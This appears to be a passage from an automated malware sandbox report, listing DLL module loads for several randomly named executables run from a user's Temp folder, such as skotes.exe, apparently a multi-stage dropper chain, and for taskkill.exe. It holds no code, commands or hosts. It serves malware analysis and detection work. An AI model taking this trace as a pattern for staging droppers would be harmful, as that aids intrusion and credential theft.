Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
